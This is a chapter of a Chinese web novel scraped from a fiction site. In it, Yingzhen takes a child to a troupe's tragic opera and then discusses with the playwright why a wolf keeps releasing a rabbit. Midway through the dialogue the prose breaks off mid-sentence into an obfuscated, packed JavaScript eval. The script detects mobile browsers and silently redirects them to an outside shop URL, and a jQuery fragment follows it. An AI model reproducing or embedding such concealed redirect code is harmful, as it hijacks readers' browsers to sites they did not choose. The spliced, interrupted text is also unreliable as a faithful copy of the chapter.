文趣网 > 其他小说 > 灭世反派决定去写童话 > 9. 伶角·戏台 不如不遇倾城色!
    应珍又去了几次那座破庙,但她却再也没有见过那个老僧,就像她也没再见到风娘子一般。

    宿珲如此解释:“应宁寺的那个老和尚啊?我只知道他也是皆渡门的弟子,他这样的人总是飘忽不定的。”

    “我阿娘么?”阿蔻咬了一口糕点,“她一直都在的呀!你看,这是阿娘新给我做的糕糕!阿珍姐姐,你也吃一块吧!”

    应珍擦掉阿蔻嘴边的碎屑:“我吃不得糖,小阿蔻,你自己吃吧!”

    “阿娘没有在月牙酥里加糖,她说我再吃糖的话,蛀虫会钻进我的牙齿里……”

    应珍难免自作多情了一下,风娘子这是知道阿蔻要来悟缃居,专门给她做的?

    “阿娘还说了,阿珍姐姐吃不得糖,所以也没放糖,可是阿珍姐姐你的病不是大好了吗?”

    应珍一愣,风娘子还真是专门给她做的。

    可是,为什么?

    就因为她是阿蔻的好朋友?

    爱屋及乌,倒也说得通。

    应珍拿起一块月牙酥,表面是糯米温润的米白色,微微泛着油光;放进嘴里,内馅是芋泥,细腻得几乎感受不到颗粒,只在舌尖留下绵长悠远;咽下后,余香还在口腔里盘旋,不是浓烈地占据,而是若有若无地萦绕。

    这种感觉,这个味道,似乎有些熟悉。

    “阿珍姐姐,月牙酥好吃吗?”

    “好吃,很好吃……”

    青瓷盘中还有两三块,阿蔻将它退到应珍面前:“那阿珍姐姐,你就多多多多吃一些吧!”

    “说吧,”应珍已然是很了解阿蔻了,“你的小脑瓜里打着什么算盘?”

    阿蔻倒在应珍怀里咯咯地笑了:“外面来了一群人,他们在北面的空地里搭了个戏台子,阿娘不带我去,说我还是小孩,看不懂风风花花。”

    “所以呢?”

    “所以阿珍姐姐你吃了我的月牙酥,你带我去吧。”

    应珍捏上阿蔻的脸蛋:“你阿娘让你带来和我分着吃的吧!”

    阿蔻在应珍的怀里拱来拱去,捂着嘴偷笑:“一共六块月牙酥,阿蔻只吃了一块哦!其他的都进了阿珍姐姐的肚子里!”

    “你呀你!”应珍将阿蔻放到地上,为她整理好皱在一起的衣裙,再无奈地戳了戳她的额头,“走吧,我们悄悄去,若是被你阿娘发现了,就说是宿先生准我们来的。”

    阿蔻牵上应珍的手:“阿珍姐姐最好了!”

    **

    应珍与阿蔻赶到时,戏正唱到高潮。

    台上那武生手持长剑,水袖染血,唱腔凄厉如泣。

    阿蔻看得害怕,把脸埋进应珍的衣袖。

    “阿珍姐姐,他为何要杀她?”

    “戏文里说,他太爱她了。”

    “爱她为何还要杀她?”

    台上的戏子正唱到断肠处,水袖翻飞如垂死的蝶。

    “你瞧,”应珍压低声音,“那书生手中的剑在发抖。”

    阿蔻踮起脚尖:“他在哭吗?”

    “或许吧。”应珍心不在焉地,目光不由自主飘向戏台后面的那株梧桐树。

    树影里的青衫女子依然静静立着,深秋时分,她竟然还摇着手中的团扇,扇风。

    台上的武生忽然跪倒在地,抱起台上已然气绝的青衣女子。

    他的唱词破碎在夜风里:

    “不如不遇倾城色!

    不如不遇——那年春——

    鬓边海棠初绽蕊,

    相逢恰在月朦胧之时,

    初见便已许平生。

    世事难料,生难同衾,死难同穴——

    不如不遇倾城色!

    不如不遇——那年春——”

    戏唱完了,人也散了。

    阿蔻已伏在应珍肩头睡得香甜,应珍站在原地久久不愿离去,她似乎看过这台戏。

    卸了妆的武生独坐在戏箱上,他们望着空荡荡的场子出神。

    夜风撩起武生未绾的发丝,他现在的神情不像台上那般狠厉了。

    他看见应珍,微微一怔:“姑娘,这么晚还不归家?”

    “正要回,”应珍顿了顿,“你的戏演得极好。”

    武生浅笑,笑意未达眼底:“好在哪里?”

    “好在……你杀她时的那一眼,比所有的唱词都真切。”

    “因为他杀她,”梧桐树下的青衣女子款步而来,“是真。”

    武生的笑容凝在唇边,月光照着他骤然失色的面容。

    “那他后悔了吗?”应珍问道。

    “戏文里,他后悔了。”青衣女子说道。

    武生苦涩地扯出一个微笑:“戏文外……他也后悔了。”

    “后悔有何用?这世上又无死而复生之法。”

    “可……他的心也很痛……”

    “他的长剑刺进她胸口时,她的心,更痛!”

    “可……他有他的苦衷!”

    “阿珍姐姐,”阿蔻迷迷糊糊地睁开眼睛,“咦?台上的武生阿叔和青衫阿姊怎么跑到阿蔻面前演戏了?”

    “童言无忌,童言无忌,”应珍瞬间捂住阿蔻胡言乱语的嘴,连声道歉,“还望二位海涵。”

    “小妹妹,”青衣女子用团扇轻敲了一下阿蔻的头,“你认错人了,那个青衫阿姊已经死了,我只是和她长得很像……而已。”

    应珍又手忙脚乱地捂住阿蔻的耳朵,横了青衣女子一眼,这人说话也是没轻没重。

    “阿珍姐姐,我好困啊……”阿蔻又趴到应珍肩头。

    “先把这小孩儿送回去吧,”青衣女子递给应珍一本折子,上面写着一些剧目,“这些个戏本子都是我写的,我……们会在这里待五日,邀你来看剩下的剧目。”

    回去的路上,阿蔻在睡梦中呓语:“大灰狼……不会吃小白兔的……”

    这是那个阿蔻心心念念的故事,那个关于“小白兔总被大灰狼抓住,但大灰狼总是把小白兔放生”的故事。

    应珍灵光乍现,或许她该问问那个专门写戏本子的青衣女子,问问她大灰狼为何总是将小白兔放生。

    **

    风娘子依旧不在家。

    应珍将阿蔻送回房,为她掖好被角后,便转身朝着戏班临时落脚的院子走去。

    夜已深,厢房里还亮着一盏如豆的油灯。

    窗纸上,映出一个纤细清瘦的身影,正伏案书写。

    应珍轻轻叩响了门扉。

    门“吱呀”一声开了。

    “你怎么现在来了?”青衣女子见是应珍,有些意外,但也侧身让她进去。

    屋内陈设简陋,唯有一桌一椅一榻。桌上散放着笔墨纸砚,几张写满字的宣纸被镇纸压着,墨迹未干。

    “有事向你请教。”应珍说得理所当然,全然不觉深

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610594|205924||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    夜非请到访失了礼数。

    青衣女子倒也不恼:“你说。”

    “我家阿妹给我出了一个难题,她想让我给她讲小白兔总被大灰狼抓住,但大灰狼总是把小白兔放生的故事。”

    “小白兔总被大灰狼抓住,但大灰狼总是把小白兔放生?”青衣女子重复道,眸色在烛光下微微闪动,她若有所思地看向应珍,“这故事,真是有趣。”

    “在你看来,大灰狼为何总是把小白兔放生?”

    “我倒更为好奇,那小白兔又为何总被大灰狼抓住?”

    “大灰狼抓住小白兔是件易如反掌之事。”

    “非也,小白兔大可逃到千里之外。”

    “那大灰狼也可以追到千里之外。”

    “只是为了抓这一只兔子?离开自己的领土?”

    “是……”

    “阿珍姑娘,这故事,你当真不知该如何讲?”

    “那大灰狼,或许并非不想吃,而是不能吃……”应珍的声音很轻,“它可能受过伤,欠了谁几千条命。所以每一次抓住白兔,都是在试探自己还能不能下得去口。”

    “那那只特别的白兔呢?灰狼为何愿意为了追逐它而离开自己的领土?”

    “因为恨……恨他的挑衅,恨他的不知好歹。”

    “恨?若只是恨,一击毙命便是。何必反复?依我看,那狼或许是因为爱,或许是因为害怕。”

    “爱?”

    “只有爱才会让一头狼愿意违背天性克制欲望而不去伤害一只兔子。”

    “那她为何会害怕?

    “因为大灰狼需要通过反反复复的抓捕来确认这小白兔是否活着,而那只白兔,也是唯一能让它感觉到自己还活着,还拥有力量的存在。而放生……是因为她深知,一旦真的吞噬了这唯一的鲜活,她的世界将彻底归于死寂。她需要的,不是一个果腹的食物,而是一个永恒的……参照物。”

    “所以,”应珍轻声总结,“捕捉,是为了对抗遗忘;放生,是为了延续这场对抗?”

    青衣女子的身体几不可查地晃了一下,她避开应珍的目光,重新看向桌上的稿纸,声音低得几乎听不见:“或许吧……戏文里的爱恨,总需要一些看似不合常理的执念来支撑。否则,故事便索然无味了。”

    “但我需要纠正你一点,他,从来不是唯一……”应珍垂眸,“那若大灰狼反复抓住又放生的是整个兔群呢?”

    “她也为了那一只特别的兔子。”

    “为了那一只特别的兔子?”应珍笑了,“姑娘的戏文写得很好,风月轶事,爱恨嗔痴,但姑娘却不知这世上还有一种感情叫慈悲。”

    青衣女子也笑了:“阿珍姑娘也有所不知,一只大灰狼是很难抓住整个兔群的。若要抓住整个兔群,她只能潜入兔子窝,可兔子也会闻到陌生的气味,除非……”

    “除非什么?”

    “除非那大灰狼是只披着狼皮的兔子,真正的大灰狼对于兔群或许会慈悲,但那不过一次两次,”青衣女子看着应珍的眼睛,“而只有兔子才会一次又一次地无限制将兔子放生。”

    “……”

    “阿珍姑娘,你的故事我听完了,你的问题我也回答了,想必你也不会再来戏班子看戏了。”

    “恕我对那些风月桃花的故事不感兴趣。”

    “那便也就不强求了,阿珍姑娘,有缘再与你相逢。”